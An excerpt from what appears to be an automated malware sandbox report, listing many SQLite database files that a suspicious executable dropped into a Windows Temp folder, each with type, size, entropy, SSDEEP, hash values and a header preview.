SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jlBNISH0HO

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jspk42Xbd6

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\jzXNUePIOG

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\l49Vt5Hozw

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lPPGPJ9ck1

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ldEgUKiDch

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lsOa3qdTjw

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\lu8OKQLJha

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mKVdg7fTHL

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\madYPkAkFg

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mhY9jL3JEe

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mlSU8Hxy8X

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mzkLKP04Ld

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\n41bJP1fTl

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nHu11gZqsu

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ndA7yLhNwO

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nlac1067oU

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nmHxbpxx1M

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nnEHKra4Ub

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oEg28qPXhf

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oLsUf094K8

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oMb6J4PRhR

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\oVLqiMBLSW

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ohWcsBeQlZ

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\opbS18Ns4l

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
